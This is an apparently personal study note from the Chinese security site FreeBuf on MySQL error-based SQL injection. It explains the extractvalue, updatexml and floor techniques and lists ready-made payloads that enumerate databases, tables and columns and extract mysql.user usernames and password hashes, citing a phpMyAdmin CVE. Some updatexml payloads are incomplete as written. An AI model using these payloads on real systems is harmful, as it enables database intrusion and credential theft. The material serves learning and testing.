freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

SQL注入之报错函数
DepartBoy 2022-02-23 17:08:57 225422
所属地 北京

再学点就睡了,就亿点!!
引言
报错注入是sql注入中一种注入方式,用法和平常的注入方式有些差别,回显在报错的页面中。

一、extractvalue函数

1.函数含义: 使用 XPath 表示法从 XML 字符串中提取值,即返回的是一个字符串。

2.用法

  • ExtractValue(xml_frag, xpath_expr)
    两个字符串参数:
    (1). xml_frag: XML 标记片段,xml语言的标签闭合内的值,
    (2). xpath_expr: XPath 表达式,匹配xml标签内的值并返回。
    例如,
ExtractValue('<a>ccc<b>ddd</b></a>', '/a') AS val1;

val1的值为ccc,而不为ddd,因为a标签中闭合的是ccc,
若是想匹配值为ddd,则如下:

ExtractValue('<a>ccc<b>ddd</b></a>', '//b') AS val2;

此时val2的值为ddd。

3.报错注入使用场景

  • 适合无直接回显的sql注入,存在报错页面的回显

4.报错的原因

ExtractValue函数中的两个参数,得是xpath语法才会正常回显,如果不是xpath语法,则会报错并回显。

extractvalue报错会返回其中的sql语句结果。

5.配合函数
原因:报错注入会限制数据库内容不超过32字节,所以灵活使用一些函数来截取数据内容,最后再进行拼接。

  • mid函数: 返回从指定位置开始的子字符串
  • substr函数:返回指定的子字符串
  • concat函数: 返回连接的字符串

6.常用peayload:
例子:CVE-2020-5504 phpmyadmin的后台sql注入(狗头保命,都sql的管理后台了,还在这注入呢)

  • 数据库
1'and extractvalue(1,concat(0x7e,(select database()),0x7e))--

数据库名

  • 表名
1'and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='mysql' and table_name='user'),0x7e),1) --
  • 列名
(1,mid(concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='mysql' and table_name='user'),0x7e),1,29),1)

image

  • 数据内容
用户flag:
extractvalue(1,concat(0x7e,(select concat(user) from mysql.user limit 0,1),0x7e))

flag密码:
extractvalue(1,mid(concat(0x7e,(select password from mysql.user limit 0,1)),1,29))
#不超过32字节,需要截取后边剩下的字符

extractvalue(1,mid(concat(0x7e,(select password from mysql.user limit 0,1)),20,29))

用户flag

flag第一部分
flag第二部分

二、updatexml函数

updatexml函数与extractvalue函数用法一样,截图先欠着
含义:

payload

1、数据库

updatexml(1,concat(0x7e,(select database())))

2、表名

updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))

3、列名

updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='table')))

4、字段数据

updatexml(1,concat(0x7e,(select flag from flag)))

三、floor函数(在学了T.T)

**含义:**返回小于等于该值的最大整数。

报错原因:floor()语句报错,是利⽤floor(),count(),group() by冲突报错,当这三个函数在特定情况⼀起使⽤产⽣的 错误。

payload:
floor() 
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

参考链接:
什么是XML
XML函数
爬虫之XPath

# SQL注入 # 报错注入
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 DepartBoy 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
DepartBoy LV.3
这家伙太懒了,还未填写个人描述!
  • 4 文章数
  • 1 关注者
HTTP协议 请求包与响应包
2022-02-25
URI的基本格式和URL的区别
2022-02-21
TCPIP 协议栈
2022-02-07